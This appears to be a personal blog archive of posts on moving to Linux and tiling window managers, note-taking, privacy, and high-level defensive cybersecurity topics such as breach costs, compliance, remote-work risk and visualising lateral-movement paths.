Desktop environments are collections of software applications that provide the graphical user interface (GUI) for Linux operating systems. They include the desktop, taskbar, menus, windows, and other visual elements.

But desktop environments can also be bloated and resource-intensive. If you’re looking for a more minimalist and lightweight computing experience, a tiling window manager may be a better option.

Tiling window managers don’t come with a pre-built GUI. Instead, they give you complete control over how your windows are arranged on the screen. This can be more efficient and productive than using a desktop environment, especially if you’re working with multiple windows at the same time.

My tiling window manager journey

I tried a few different tiling window managers before settling on i3. i3 is well-documented, highly configurable, and meets my needs perfectly.

But there are many other great tiling window managers available, such as Awesome Windows Manager, BSPWM, DWM, Qtile, and XMonad. If you’re interested in trying a tiling window manager, I encourage you to experiment and find one that’s right for you.

Setting up a tiling window manager

Setting up a tiling window manager can be a bit of a learning curve. But it’s worth it for the benefits of a more minimalist and efficient computing experience.

Here are a few tips:

Start by choosing a tiling window manager that’s right for you. Consider your needs and workflow when choosing a window manager.
Once you’ve chosen a tiling window manager, read the documentation and tutorials. This will help you learn how to use the window manager and configure it to your liking.
Don’t be afraid to experiment. Tiling window managers are highly customizable, so there’s no right or wrong way to use them. Try different configurations and find what works best for you.

Conclusion

I’ve been using a tiling window manager on Debian 12 for a few months now, and I’m very happy with the switch. It’s given me a more minimalist, efficient, and productive computing experience.

If you’re looking for a way to improve your Linux workflow, I encourage you to try a tiling window manager. It may take some time to get used to, but it’s worth it in the end. Feel free to check out my configuration which I will be updating periodically.

My Journey to Linux

Wed, 13 Jul 2022 01:32:51 +0800

This is the story of my journey from being a loyal Apple user for nearly 20 years when 1 year ago I decided to completely leave the Apple ecosystem and move to Linux full-time.

The article will provide an overview of the many small decisions that I made from mid-2021 when I got a Lenovo laptop and installed PopOS 20.04 on it.

Background

To provide some context, it was around 2000 when I decided to move away from Windows (the last good Windows OS in my opinion was Windows XP) and my first foray into Apple was an iMac (The tangerine colour I believe) and over the years I have had several MacBook Pros including the 17inch model which was a beast and lasted for more years than I can recall. It was, however, the last and probably the most expensive device over the time was the top of line, MBP Pro 13 inch Retina with Touch Bar and fully spec’d out and it was a lemon. The battery swelled, I took it to Apple to get it repaired and then it just got worse and worse from there and it became very evident that the quality that made the original Apple so good, went away when Steve Jobs passed and under the reign of Tim Cook the innovation and quality went south.

It was at that point that I decided to leave the Apple Galaxy and not just the computer, but the mobile and tablet landscape as well and switched to a custom ROM Android and Linux and when reflecting on it, I should have done this a lot sooner. Platform lockdown, software bloat and general lack of privacy are actual things and it is costly.

I did briefly consider Windows 10 as well, very shortly (about 30 seconds) before dismissing that as a viable option.

Normally when looking to make a change such as switching Operating Systems, there are at least 3 areas that need to be considered which are hardware, software and data, but this for me was a lot easier as the hardware was completely unstable at the point of time that I went out and bought the Lenovo laptop, as my current Apple machine was having several kernel panics a day. I started ensuring that all data was backed up and the key challenges were related to software and peripherals that I will cover later in the article.

Ideology

When you say to people that you are running Linux, they often believe that it is related to an ideology such as “Free and Open Source Software” or anti-large technology companies, but this isn’t my case.

I do have strong views related to Open Source Software, but I am not one of those zealots that refuses to use commercial software and will only use Free and Open Source, but what I do care about is the ability to access data that I created without being locked into a single platform/system as my needs change over the years.

My choice of technology is related to my computing needs and knowledge at that particular time in my life. Windows was good in the 90s and Macs for the next 20 years, but now, Linux is my preferred choice and for the foreseeable future.

Hardware

Normally, this would have been the longest part of the overall experience as I looked for a machine that would meet all my requirements, but this was very quick as I had a malfunctioning machine and went to a Harvey Norman in Singapore and from the limited selection that they had, I chose a Lenovo ThinkPad which had reasonable specifications and I had a reasonably high level of confidence that it would support Linux.

I was surprised how little support the big providers have for Linux Desktop, but thankfully the one that I got worked and I haven’t had any issues with it to date.

Once I had been using it for a few months, I then decided to upgrade the RAM and hard disk which I was able to do myself, which is something that I used to do a lot in my early days with computing, but when I started using a Mac, this became a non-starter as in the early days, it was possible, but difficult and Apple made it even more difficult to near on impossible in the recent years. Even trying to repurpose an old machine is now near impossible.

One thing that I truly did come to appreciate is that I don’t need a laptop anymore as I am more than capable of doing basic tasks on my smartphone or tablet. I am writing this on my phone with an external keyboard and for simple tasks, the need for a laptop becomes less important especially given that I predominately work remotely and travel has stopped. My next machine will be a desktop from System76 which is an independent computer maker that specializes in Linux-compatible hardware.

Peripherals

The main peripherals that I had were a portable ScanSnap Scanner as well as a desktop version for larger jobs, which unfortunately the manufacturer doesn’t provide Linux drivers, but I was able to find a way to port the drivers across and have both of them working, but not as seamless as they do on either a Mac or Windows as some of the advanced functionality isn’t supported, but at the end of the day, the key task is scanning and this works.

The other was a Kensington trackball which worked when plugged in but I wasn’t able to use the software that comes with the product to program the usage of the buttons, but I did find how to program them at the lower level and have a script that autodetects when the trackball is connected which runs and configures it to exactly how I want it to function.

Everything else such as my Logitech Webcam, Bluetooth headphones and remote wireless cards, all work natively without any issue at all.

Software

As I mentioned earlier, I chose PopOS as my operating system as it is based on Ubuntu which has a very large repository of software available and nearly every Open Source project provides a *.deb package that can be easily installed.

The next challenge was to find suitable software to replace those that had become stables of what I used daily on my Mac.

Note-Taking Apps

A key staple of my computing needs is my note-taking software and for this, I use two main products which are Obsidian and Standard Notes. Standard Notes is my key for daily notes as it syncs securely across all my devices and this would become my only note-taking application if they allowed embedded images and backlinks.

On my Mac previously I had tried several variations of note-taking applications ranging from Evernote which I was a strong supporter of until they announced some changes to their policy that had security and privacy implications and then I moved off that platform and tried others such as Bear and Notion, but at the end of the day, what I need is the ability to take plain-text notes, back them up and make changes to them independent of the application that they were created in.

Web Browser

I have been using Firefox for many years as I never really got into using Safari so migrating bookmarks was no drama at all.

I run two browsers on Linux, which is Firefox for my everyday work and Chromium for specific tasks that require a Chrome-based browser.

Music

This was quite easy as despite having a decent collection of MP3s I predominately listen to music online and this is either via Spotify, but more recently I have been using Nuclear which is getting more stable by the day. I never really got into Apple Music so thankfully I avoided that challenge.

Text Editors and IDEs

This may seem tragic to some, but for the last couple of years, I have become a VIM advocate as this is a very powerful text editor and it just works. From an IDE perspective, I use Wing Pro for Python which is fully supported on Linux but there is a good selection of other IDEs that have native support for Linux.

Video

For as long as I can remember I have always used VLC as it works well for video consumption, can download video streams and works on every platform, I even have it installed on my mobile device.

I have done some video editing in the past but there is no shortage of tools for this on Linux with the key one being OBS Studio which is predominately what I use now, but there is also KDEnlive which I have heard good things about but have not personally tried.

I will admit that there is a lot of very good software for Mac users in the Video editing space and for those who are video professionals, I can see the appeal of staying on a Mac and not moving to Linux.

Image Editors

I am by no means a graphic designer so my requirements for image editors are pretty basic and even though on the Mac I did use Pixelmator, this was nowhere near its full capacity for this today I use Gimp and Inkscape and this supports all the possible formats and image editing requirements that I have.

Password Manager

This is a big one for me as I have a lot of passwords and initially, I was using 1Password7 but I made the switch to BitWarden a couple of years ago and this has both a native client and web plugins.

Communications

Thankfully I stopped using iMessage a long time ago and moved to Signal and this was an easy switch as it has a native client.

For work-related communications, these are predominately Google Meet, Zoom or Microsoft Teams and they all work, although, with Microsoft Teams, it is not possible to share just a Window (not sure if that is an issue on Mac) as I am just a guest at these meetings, with Microsoft becoming more friendly towards Linux in recent years, I am confident that this will improve over time.

Data

I was a hardcore user of iCloud but stopped using that heavily a few years ago as a paying customer for the service, it was just plain awful from a user experience perspective, especially when compared to other services such as Dropbox and OneDrive which were leaps and bounds ahead and were able to properly synchronize data across multiple devices.

As I was a Google user, I moved all my working files to Google Drive, but have since started to move this to a self-hosted platform.

Office Suite

For work, I use Google Docs which works everywhere and has no issues with that at all, and I have found that LibreOffice is more than capable of doing all the core functions that I need with regards to spreadsheets, word processing on the home front.

eBooks

Thankfully I never really got into Apple iBooks, as I was heavy into the Kindle ecosystem, but the challenge with this is that they are digitally locked into Amazon and a few of the books in recent times have suddenly disappeared which I can only believe are related to changes with the distribution rights of the books so in recent times, I have decided to only purchase DRM Free content and thankfully most of the books I buy are technical so I can get this from publishers such as No Press Starch and have the freedom to read these on multiple platforms.

Conclusion

My migration to Linux as a result of prolonged hardware issues and poor customer service from Apple, which in hindsight is a blessing.

I have a productive setup, with a machine with decent battery life, that I was able to upgrade so it now has great specs, all at a fraction of the cost of my previous MBP. My files are saved in standard, open formats, and I will be able to open them in the future.

During the last year, this setup has given me way fewer headaches and stress than what Apple was giving me and while it is not perfect, it is stable, efficient, very fast and so much cheaper.

Every user will have different mileage and I am not advocating that everyone migrate to Linux, as being technical did help me find and solve a few quirks, but in general, I had way fewer challenges than I expected and have been very pleasantly surprised.

For those who are sitting on the fence as to whether to try Linux, if you have an old machine lying around, breathe some new life into it and you may be pleasantly surprised, what have you got to lose?

Privacy

Thu, 07 Jul 2022 01:27:57 +0800

I read this article today in which Google stated that it would “wipe user location history for visits to healthcare clinics, domestic violence shelters” with the following text as an example:

Suppose the company’s systems detect a visit to places including medical facilities, counseling centers, domestic violence shelters, abortion and fertility clinics, or addiction treatment centers. In that case, Fitzpatrick says, “we will delete these entries from Location History soon after they visit.”

Well done Google for making this gesture, but it is nowhere near enough as at the heart of their business model, and that of many tech companies, is the data about each of the users that it uses in its advertising business for targeting etc.

From an investigative perspective, the absence of data is just as telling, if not more so, and nowhere in the article does it state if this policy will cover everyone that uses Google or just a subsection of users?

Privacy is a fundamental right, essential to autonomy and the protection of human dignity, serving as the foundation upon which many other human rights are built.

Privacy enables us to create barriers and manage boundaries to protect ourselves from unwarranted interference in our lives, which allows us to negotiate who we are and how we want to interact with the world around us. Privacy helps us establish boundaries to limit who has access to our bodies, places and things, as well as our communications and our information.

Privacy is essential to who we are as human beings, and we make decisions about it every single day. It gives us a space to be ourselves without judgement, allows us to think freely without discrimination, and is an important element of giving us control over who knows what about us.

We have forgotten about privacy and the importance it plays in our lives and applaud companies who make gestures to giving back some of this fundamental right to us, but who will be ensuring that this happens?

Failure is Learning

Sat, 25 Jun 2022 01:23:44 +0800

I am sure that at some point in our lives we have all encountered failure and at this point, it may have felt that it was the worst thing that could happen. Now I don’t wish to get into the discussion about what type of failure is best, but from my perspective, I have been using this for the last few months to determine the best course of action for me to learn and how I can integrate failure to deepen learning.

To provide some context, there are often two approaches to learning which are first we understand the theory of the subject and then do the practical exercises as we progress. The second is to jump in straight away and fumble our way around and then when we hit a roadblock go and look at the theory to understand it deeper.

When I reflect on how I have learnt in the past I have used both of the aforementioned approaches and I find that the best approach for me is to quickly scan all the content (1 - 2 seconds per page) and tag any pages that catch my interest for review later and then at the end of that attempt to do the subject and go from there.

NOTE: I am not suggesting that if you want to learn something like sky-diving that you watch a YouTube video and go and jump out of a plane, please exercise common sense and ensure that the safety of yourself and others is first and foremost.

In the last month, I have undertaken this on two very different subject areas with the first being to learn about Software Defined Radio (SDR) Hacking and the second is cooking poached eggs.

Two very different fields, but I have found that the approach has worked well when starting with learning to cook the perfect poached egg, I watched a couple of videos and then jumped straight into it. For anyone that has tried this, professional chefs make it look super easy and I went through several variations from using white vinegar to different size pans, stirring speeds, temperature, types, freshness and temperatures of eggs, and the list goes on. My first attempt was edible and luckily so have all the subsequent ones (to varying degrees of course) but each of these small failures, generated a series of questions about what went wrong, why did that happen, and what could I do to correct that etc. Today I finally made restaurant quality look, texture and taste and I am over the moon.

Now how does this work on a deeper subject that requires a high level of technical skills and subject knowledge? Very similar to be honest. I quickly looked through the content and understood the basic premise but as I started going through them I was coming up with a lot of questions and then I encountered a problem and had to start researching what happened, why did it happen and that made me persist even harder and want to understand the subject material even deeper that made the theory part of the subject much more interesting.

Through experiencing failure which is integral to the learning process, it improves information recall, critical thinking and a deeper sense of determination and persistence that will build self-esteem. Failure is a fantastic opportunity for us to grow and instead of looking at it as a negative, we should appreciate the growth opportunities that it provides us and integrate it into our learning and appreciate the lessons that it is teaching us.

Have I been doing it wrong all these years?

Tue, 14 Jun 2022 00:27:44 +0800

Have you ever had one of those moments when you start to think that the system you have been using for years just isn’t working for you anymore?

I had that experience a few weeks ago when I was doing some personal studying on the weekend and while taking notes, I realised that there were several other projects that I was working on that could benefit from what I was learning and the application of it to these areas could be extremely beneficial. I then asked myself the question, “How can I ensure that this information isn’t going to be forgotten and how can I apply it across those other areas?”

I didn’t have a clear answer and for the next few hours I was mulling this over as I realised that my note-taking system was very much Top-Down, structured and organised into subjects/areas of interest and not that great at making links and relationships with disparate and in some cases, completely different fields of study or interest.

That afternoon, I was sitting in a coffee shop waiting for my kids and had a couple of hours to spare and decided to do some research on how best I could ensure that the tomes of notes that I have aren’t just an archival activity, but a true extension of my thought process, a personal knowledge management system that I could easily access when required.

As I started researching, I came across several references to the Zettelkasten Method and the more that I looked into it, I could see that this method could address the questions of how I could tap into the information that I had collected, but this whole approached seemed overly complicated and the more I looked into the more confusing it became as there are so many variations of this and no real clarity on the system as a whole. I then saw the book “How to Take Smart Notes” by Sönke Ahrens and figured I would buy it and read it. I dedicated my Sunday to reading the book and honestly, whilst it was an interesting read, I was thinking that this approach wouldn’t work, but I kept an open mind and read, and then it hit me. About two-thirds through the book it clicked.

I decided that I would try the approach and so I set up a new notebook and implemented the system and started using it for the notes on my current study topic whilst it has been a challenge to stick with the new method and not fall back into old habits, the benefit I have gotten from just a few weeks has been worth it and the quality of the thinking around the subjects has increased significantly, find previously unknown relationships and the just the depth of understanding on the subject has made it clear that this approach will work and is here to stay.

This brings up one more question which is “What do I do with the 20,000+ personal notes that I have in my old system?” The answer, Nothing! The reason being is that these are not wasted or need to be reworked into a new format, they need to be rediscovered. I have already gone back to a few of the notes and incorporated aspects of them into the new system and watched it organically grow as I start to find new connections and shall continue to do so.

The purpose of this was to not promote some new product or tell you how you should be taking notes, but to share a challenge that I encountered and if you have experienced similar challenges then maybe this can help and you may find a way to re-energise your learning or study. I have always been a strong believer in self-reflection and challenging systems that you are using to ensure that they still meet your objectives rather than become complacent and do it the same way that you have always done.

I have just started this journey, and can already see the benefits with my use cases if anyone is trying this as well and gets stuck, or has any questions, then please feel free to message me as happy to share my understanding and experiences of course learn from yours.

Hospitals should only have to focus on saving lives; not on security

Fri, 22 Apr 2022 00:27:44 +0800

Hospitals should only have to focus on saving lives; not on security

I know that the above statement will offend a lot of people, but before you all start flaming me, let me elaborate on this more and provide you with context as to why I would make such a statement. This past Sunday, I had to take my wife to the ER which resulted in her having to have emergency surgery, and for anyone who has ever been in a hospital with a loved one, knows that it is a very stressful time and our focus and that of the hospital staff is on doing what they can for the patient.

Whilst all of this was happening, there is a lot of “hurry up and wait” type situations and being curious of nature and as a former CTO/CISO, I looked around at all the technology in the hospital from the perspective of an adversary / cyber-criminal and there is a lot. I saw exposed network ports, unlocked and unmanned computers, many running outdated Operating Systems with just as outdated antivirus, shared credentials and numerous other things that would make any security person cringe. This is not a criticism of the hospitals IT or Security Staff, it is just an unfortunate reality of modern times with the rate of change in technology, interoperability of medical equipment and given the last couple of years with COVID, observations such as exposed network ports are due to makeshift solutions of having cameras in rooms to observe patients and minimize exposure.

When you consider this technology and the fact that the people using these systems are health care professionals whose first priority should be that of looking after the patient, it is obvious why in recent times we have seen an increase in cyber attacks on hospitals and other medical providers. A quick Google search will show you a list of attacks against hospitals such as “82% of Hospitals Experienced IoT Cyberattack in Past 18 Months” by Campus Safety and of those hospitals 34% were Ransomware and 33% paid it.

I am by no means saying that hospitals shouldn’t focus on security as they have access to Patient Health Information (PHI), but their primary focus should be on saving lives. I am very much a privacy and security advocate, but when you are being asked questions by the medical staff, you are an open book and whilst there was a split second thought that this is all going to be leaked, you tell them everything as in that situation your focus is on your loved one and you want to make sure that they have all the information that they need.

I grew up in the old school and I am by no means a Saint, but I have strong morals and principles. Criminals used to have their own moral code, hence the term “Honor among Thieves” and other variations of this such as “Prison Justice” which is directed at those who hurt children and woman. For those criminals who target hospitals and medical facilities you are affecting patients health and lives. For one second, think about this being someone you love in a hospital that you have taken offline and how you would feel if your family members suffered as a result?

I am sure that there is someone reading this who is saying that “they should spend more on security” or “they should hire better security people” or a multitude of other reasons, but hospitals are the same as schools, I would prefer that they put more money towards helping our society and the people in it than having to protect it from those with no morals or principles who would target those institutions. When we look at the skills and resources that are needed in the security space, there is already a shortage across the board and core services such as health care and schools are not able to compete with the likes of big tech companies in attracting top talent and the staff that I have met in these organizations are doing the best they can with the resources that they have. The simple fact of the matter is that it is easier to justify and get support for the latest medical technology that can detect cancer earlier or increase survival rates for treatment than a security product that can reduce the amount of phishing emails that get through. Even if we put this into monetary value, if a hospital puts a higher priority on security than saving lives it would be a front page scandal, it is a “Damned if you do, Damned if you don’t” scenario.

For the medical and support staff at St Luke’s Hospital Quezon City, that took such great care of my wife you are all hero’s in my book and even after a tough couple of years with COVID on top of your normal workload, you still had a smile and friendly disposition that makes you feel that everything is going to be okay.

The Real Cost of a Data Breach

Sun, 25 Jul 2021 20:02:27 +0800

Today we are in a situation that many have never faced before, and organisations of all sizes are looking at ways to cut costs. One area that I have seen is with regards to cybersecurity due to the previous unprecedented spending with boards and executives now asking what they have achieved?

I had an interesting conversation recently about security and the costs involved to provide adequate protection, and a statement was made that shocked me. It was “Given that there seems to be a breach every other day in the news; we just need to be seen to take reasonable measures to demonstrate we did our best.”

The underlying sentiment of the previous statement is desensitisation and apathy in “it is happening to everyone, so there is nothing I can do.” It got me thinking as to what is the real cost to a data breach?

The most recent IBM/Ponemon Institute study calculated the cost of a data breach at $242 per stolen record, and more than $8 million for an average breach in the US. The same study estimated that a typical company has a 29.6% chance of experiencing a data breach in the next 24 months, a dramatic increase in the odds from just a few years ago.

These are some disturbing statistics, but just looking at the above financials means that we will take a purely accounting approach to determine an amount that we spend to avoid a breach. However, this should not be the case as there are other factors to be considered, which are:

Legal Costs - One of the most visible costs to a company that encounters a data breach is from legal fees. These costs range from class action suits, settlements and potentially thousands of hours of attorney time are costs not often factored into the total loss reported.
Regulatory Fines - In the last few years, there has been a massive uptake in government oversight and in particular GDPR as well as local governments Data Protection Acts. The governing bodies have the ability to penalise companies as much as 4% of their top-line revenue for failure to protect personally identifiable information.
Brand Reputation / Lost Business - The publicity that you get from a data breach can have far-reaching implications on customer loyalty. The reputational damage can, in turn, slow a businesses sales potential for many years which some businesses will never be able to recover. Would you trust a bank with your life savings if they had a massive data breach?
Company Value - A significant leak will result in the company bleeding from both the top and bottom line. A typical company could lose up to 2% of its value resulting in millions lost for shareholders.

Does Remote Working make incidents more expensive?

Does remote working make incidents more expensive, Yes and No. If your organisation before COVID19 had a significant percentage of the organisation working remotely and had factored this into their incident response plan, then I would like to say No.

If your organisation, like many, had to make haste moves to continue operations by moving the majority of the workforce to remote work, then the answer is Yes. The potential increase in the cost of exposure in my estimates by 15-20% higher. Security has now moved from a predominately centralised to a decentralised model, changing your trust boundary. The impact on network security, as well as endpoint protection, complicates incident response and how internal teams respond to security incidents.

What does the Data Say?

Whilst a lot of the information about the real costs of a data breach may never be publicly revealed, I was curious to take a couple of examples and see what I could find that could provide an indication as to the real cost of a data breach.

Marriott Hotels

The first that we will look at is the data breach in 2018 in which up to 500 million guests data was exposed.

As you can see from the chart, there was a steep decline post the announcement, but it did start to make an upward movement a few weeks later.

In addition to this, the company received a GDPR fine of 110.3m Euros.

On March 31st, 2020, the hotel chain again disclosed a security breach that impacted the data of more than 5.2 million hotel guests who used their company’s loyalty application.

There was still a drop in the share price, although this time around it did recover within a few days. The interesting question will be what is GDPR fine this time around as one of the considerations in determining the penalty is the track record which unfortunately is not ideal for Marriott.

MGM Resorts

Last year in 2019, MGM Resorts suffered a massive data breach. The news of the breach incident started to circulate in February 2020 when hackers leaked the personal details of 10.6 million hotel guests for free download. But in the later findings, the number increased by 14 times (nearly 142 million) than the number recorded in February 2020.

Whilst there is clear evidence that there is a massive drop in the share price, this may not all be contributed to the data breach as it was around the same time as COVID-19. Still, it was a contributing factor when you look at the price leading up to the initial data breach.

At present, there have been no fines issued. Still, they are subject to both GDPR and CCPA with the California Attorney General being able to impose penalties up to $2500 per violation. I will let you do the math, but even if the fines are similar to what Marriott incurred, this becomes a costly security mishap.

Closing Remarks

When looking at the costs and how do you prevent these, you need to change your outlook. Stop thinking about how do I prevent this as it is evident that a determined adversary given enough time and resources will be successful.

It would be best if you started thinking that your network has already been breached and focus on how you can detect it in the fastest amount of time. This mindset will allow you to minimise the impact on the business and help ensure that weaknesses are identified and mitigated. A key component in this is Cyber Threat Intelligence in which you can detect this promptly and then address the vulnerability.

These insights that you get from a good OSINT (Open Source Intelligence) platform allow you to assess the risk at the business level.

Security is not just a technical problem it is a business problem and needs to speak the same language as the business and identify risks and mitigating strategies without FUD (Fear, Uncertainty and Doubt)

References:

Compliance Does NOT Equal Security!

Sun, 25 Jul 2021 17:28:34 +0800

When you think about Security for your bank or health care provider, what comes to mind? Is it, my bank is PCI-DSS (Payment Card Industry Data Security Standard) compliant, or my Health Care provider is HIPPA (Health Insurance Portability and Account Act)compliant?

If it is you are not alone, but you are fooling yourself if you believe that these certifications alone are sufficient to provide adequate protection.

Compliance is often a requirement by a governing body based on the industry that you are in, and whilst they provide a solid framework, this should not be the end goal of any security program and here is why:

Compliance does not guarantee Security - You only have to look into any newspaper these days, and there is a security breach which appears to be bigger than the last. If we look at the top few for this year alone, what is familiar with all of them is they all had industry certifications and are compliant businesses.

Compliance standards are not comprehensive - This is a catch 22 in that if the standards are too prescriptive, then they become a “hackers playbook” on how to circumvent. If they are not too loose, then any value that they provide can be often overlooked, ignored or just given lip-service. Many compliance standards offer valuable guidance in areas such as data handling, user privacy and breach disclosure; however, they often miss other critical areas such as security awareness, business continuity and penetration testing.

Threats evolve faster than compliance standards - Today, threat actors are seeking new ways to identify zero-day vulnerabilities, bypass the multitude of security controls. They are continually evolving the Tactics, Techniques and Procedures (TTP’s) they are using and the resulting threats. Now contrast this with the relatively static nature of compliance standards and even more so the compliance-centric security standards.

Compliance and Security - A Symbiotic Relationship

I don’t want those who have read the above to think that I don’t believe in industry certifications, I do. What I have a concern with is when organizations believe that compliance alone is sufficient or that it should take a higher priority as this opens up a multitude of avenues for compromise.

I believe that the best course of action is in turning the security tools and processes into a compliant system. Now, this does require more effort as you need to prove the compliance of these with the regulatory standard. Taking a security approach first is something that I have personally used several times and most recently in obtaining MTCS Tier 3 Certification for a company in less than six months. The challenge is that you need to articulate the intent of the standard and how you comply with that. The following is a high-level roadmap of how to start with a security-first approach to compliance:

Identify all the current security tools used and what function they perform
Conduct a comprehensive risk assessment of the types of information processed
Understand the requirements related to the framework
Conduct a comprehensive Gap Analysis
Plan how to address and solve each of the gaps identified
Test the efficiency of the entire security solution
Conduct regular assessments

Compliance and Security need to work hand in hand, not Security versus Compliance.

Final Thoughts

When you consider the implications for non-compliance, many organizations believe that adopting a compliance-centric approach is a reasonable and judicious decision. It is critical to remember that whilst many provide clear and substantial security benefits, they are neither comprehensive nor flexible enough. For a business to address the threat landscape today, compliance can’t be the only focal point if you are to have an effective security program.

Security in the "New Normal"

Wed, 21 Jul 2021 09:43:56 +0800

At the beginning of the COVID-19 crisis, many organizations suddenly transitioned to a remote workforce with an increased focus on servicing customers via digital channels. While this rapid transition occurred, telecommuting’s sudden move created some security gaps with employees using insecure devices and networks. Cybercriminals, never wanting to let a crisis go to waste, used well-known attack techniques to capitalize on people’s COVID-19 fears. The following are some statistics with regards to COVID-19 cybercrime:

The number of unsecured remote desktop machines rose by more than 40%.
RDP brute-force attacks grew 400% in March and April alone.
Email scams related to COVID-19 surged 667% in March alone
Users are now three times more likely to click on pandemic-related phishing scams.
COVID-19 drives 72% to 105% ransomware spike.

When you look at some of the above statistics, it underscores the vital role that security plays in not only enabling remote operations but in the future as companies transform how their workforce, customers, supply chain, and partners will work together.

As I reflect on the past eighteen months from a security perspective, there are three main areas that all cybersecurity leaders needed to focus on as the business transformed and embraced new processes and technologies: firefighting hot spots, cleaning up operations, and policy and process evolution.

Firefighting hot spots

With the rapid transition to remote work, often in a less secure environment and in some cases having to use personal computers, this created several immediate security challenges that needed to be remediated and mitigated as a priority. Awareness campaigns had to be done by many companies focusing on digital hygiene, such as regular patching, pandemic-themed phishing campaign training, restriction on the use of personal printers, and prohibiting USB devices. ## Cleaning up operations As part of the pandemic response, many companies had no choice but to accept new risks to keep operations going before they could reevaluate these risks and then tighten controls at a later stage.

Many cybercriminals took advantage of the chaos that ensued during this disruption period as trust boundaries and responsibilities became blurred.

Policy and process evolution

As we all settled into the new way of working for the foreseeable future, organizations started to review existing policies regarding remote working. They began to look at longer-term solutions to mitigate the associated risks and evolving existing processes with a closer focus on securing the value chain.

What’s next?

Despite some countries opening up and allowing people to go back to the office, there are still places that this is not an option. This is a heated topic with many businesses wanting staff to return the office, but there is also a large movement of people that are resisting this request. This is a long and heated topic with arguments on both sides that are valid, but I believe that remote working is here to stay.

As such,business leaders need to handle the new business environment. Security Leaders need to think about current cybersecurity activities and long-term cyber risk strategies.

To be able to secure the new business environment, security leaders will need to address three priority areas:

Secure Workforce.
Secure Customer Journey through digital transformation.
Evaluate the supply chain and third-party risk.

Secure Workforce

As we move to a remote workforce, the attack surface increases, and as such, static network-based security perimeters are no longer sufficient. The security needs to be dynamic and focus on users, assets, and resources as the new boundaries. The protection of these devices will need to utilize real-time anomaly detection with endpoint detection and response systems.

In light of the distributed workforce, cyber-threat intelligence becomes crucial in conjunction with inside-threat detection to provide early warnings of attacks and or compromises.

Moving to a remote workforce this also provides an excellent opportunity for those struggling to find cybersecurity resources due to existing gaps in the local talent pools to extend beyond the geographical boundaries to tap into the broader pool of talent.

Secure Customer Journey through digital transformation

For industries that have had to transition from traditional bricks and mortar to embrace digital or seen a massive increase in demand needs to focus on providing a frictionless customer-security journey. A key area for this is customer identity and access management to have a single customer identity across all digital channels.

As you are looking at the customer journey, it is time to embrace a DevSecOps approach with security and privacy by design built into it and testing it at scale to ensure that they can continue to function when under load without impacting the customer’s experience.

Evaluate the supply chain and third-party risk

Companies must consider third party cybersecurity levels as carefully as they do the security policies for employees and customers. It is critical to assess supply chain continuity and resilience controls to the new way of working.

Conclusion

In this continually changing landscape, cybersecurity teams have generally performed far above expectations to address new risks.

In the new normal, cybersecurity leaders will protect their organizations at scale, making security an integral part of delivering business value.

Visual Thinking for Cybersecurity

Fri, 16 Oct 2020 12:00:41 +0800

You may be thinking from the title of this article, why do I need to think visually? Well, last week, I had an interesting conversation with a Senior Executive about security and that even something as simple as his website could allow for a more extensive compromise and a threat to his business.

I am sure you can imagine how the conversation went as his first response was, “this is not part of the production network,” and in this case, he was right. This statement was the beginning of a discussion about lateral movement from a threat actors perspective and how access can lead to the exploitation of high-value targets. There are so many ways that an attacker can get into a network from simple misconfigurations on a web-facing service to phishing emails.

To demonstrate and make a point, I showed him a copy of BloodHound; it was stored on my machine and loaded with sample data about how the network looked (collected from a low-level authenticated user). Bloodhound provides not only a visual representation of the environment but also paths of attack to a target with the only requirement being you have an AD Authenticated User.

Information is in multiple spreadsheets, systems, and the completeness is usually “point in time.” Not having up to date information stored in lists without seeing all the relationships makes it very challenging, if not nearly impossible, to defend a network from an attack. The situation only gets worse the larger the organisation. You then have dedicated teams looking after functions such as Server Team, Network Team, End Users, Backups, AV, etc.

If we look at a Windows Network, users can perform various types of logons (Interactive, Terminal Server, and others). In each of these, the users’ credentials (including SSO equivalents, Kerberos TGT, or NTLM hash) are all exposed to theft if the underlying host is compromised.

There are, of course, other relationships that create security dependencies such as:

Local admin accounts with a standard password
File Servers with Logon Scripts or Software Update Servers
Print Servers
Certificate Authorities for Smart Cards
and many others,

The underlying message is that once an attacker gets inside your network, it is just a waiting game for a high-value target to log on to the compromised machine. If you have a Terminal Server in your environment, how many users log in, and are any of those using an administrative account? If so, a password dumper tool such as Mimikatz can give you those credentials that can compromise more machines.

So how do we move to visual thinking as a defender? Visualise your network and implement controls to minimise lateral movement:

Implement infrastructure partitioning and credential silos to reduce unwanted edges
Reduce the number of Admins. Implement Just-In-Time/Least Privilege techniques
Use Two Factor Authentication to mitigate specific edge traversals.
Ues a robust credential rotation approach in the event a user account is compromised.
Rethink Forest Trust Relationships

Key Takeaway

You have the upper hand when it comes to defending your network as you have the full information about it, whereas an attacker has to build it up piece by piece.

Take a lesson from attackers about how they understand your network and then apply the same principles to identify weaknesses and secure them.

How to Think Like a Hacker!

Wed, 07 Oct 2020 18:53:34 +0800

What do you picture when you think of a hacker? Are they sitting in a dark room with a glow of computer monitors wearing a dark hoodie, listening to fast-paced music and frantically trying to perform multiple tasks? If this is the image you envision, then you aren’t alone as this image has been portrayed so well by Hollywood.

Hackers, as we know it today, e.g. black hat, white hat, have been around since at least November 1963 when the term first appeared in the MIT newspaper, The Tech.

The term hacking is everywhere today and used to describe ways to change what is perceived to be normal behaviour. Terms such as bio-hacking (do it yourself biology experiments), growth hacking (use of creative, low-cost strategies to acquire and retain customers) and even “hacking the happiness molecule.”

So what does this have to do with thinking like a hacker? Before I go into that, we are all creatures of habit, and from the moment we are born, we have behaviours that we develop over time. As we age, these become more complex and nuanced to the point that we operate on autopilot for many tasks, and our life becomes predictable. Our days are well structured as to what time we get up, coffee breaks, lunch and time we stop working and go home. Add into this social media and the “always-connected” lifestyle that we live and it is easy to see how one day starts to look like the next.

So when we look at hackers (computer, bio, growth hackers et al.) the one common trait that I see is they all have an innate curiosity about how things work. It is about how they look at the world and for example, from a cybersecurity perspective when they come across a website or domain; they ask questions, a LOT of them such as:

What are their subdomains?
What ports are open?
Is this a sensitive site?
Which certs are about to expire?
Which of these sites is running WordPress?
Who works at this company?
Do they have any open S3 buckets?
Are they serving Databases?

As you can see this continual curiosity for those who are looking for security vulnerabilities to exploit requires that defenders need to think in the same way, which is an adversarial approach.

Given the adversarial nature of computer security which is always in a constant state of flux, the individual actions of the attacker and defender will continually change the state of play. So to learn how to think like a hacker, you need to:

Understand the tools, techniques and patterns of an attacker.
What are the goals of an attacker? While in a CTF it may be to get the Domain Admin account, in real life, this may not be the primary target. It could be a database with customer details, sensitive information about employees, source code etc.
